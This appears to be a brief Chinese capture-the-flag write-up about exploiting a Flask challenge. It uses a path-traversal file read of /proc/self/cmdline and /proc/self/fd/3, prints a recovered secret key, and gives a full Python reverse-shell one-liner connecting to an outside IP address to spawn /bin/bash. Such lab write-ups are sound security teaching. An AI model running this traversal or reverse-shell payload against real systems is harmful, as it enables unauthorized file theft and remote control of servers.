抓包存在任意文件读取漏洞 发现可以直接读取flag 好了本题结束
并没有!!!
通过这个读取漏洞 获得当前进程执行命令
../../../../../proc/self/cmdline
1 | /proc/pid/cmdline 包含了用于开始进程的命令 ; |
https://blog.csdn.net/shenhuxi_yu/article/details/79697792 讲了linux proc/pid/信息说明
这是通过python2 执行app.py文件 读取看看
1 | from flask import Flask, Response |
no_one _know_the_manager 这边可以执行shell命令但需要匹配secret_key 但是好像拿不到secret.txt
但是这边可以通过**/proc/pid/fd/** 读取这个目录包含了进程打开的每一个文件的链接
然后/proc/self/fd/3 读取这个拿到key
m6Bw1vdzVolP2IxqgbW2e3e4uKtOXZJodwvL7ji6Oic=
key是正确的
传入key和shell就可以执行了但是这边没有回显很烦
python 反弹shell
1 | shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("117.21.200.166",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' |
需要url编码一下 然后出现ok就可以了
1 | import socket |
用这个脚本连接
运行cat/flag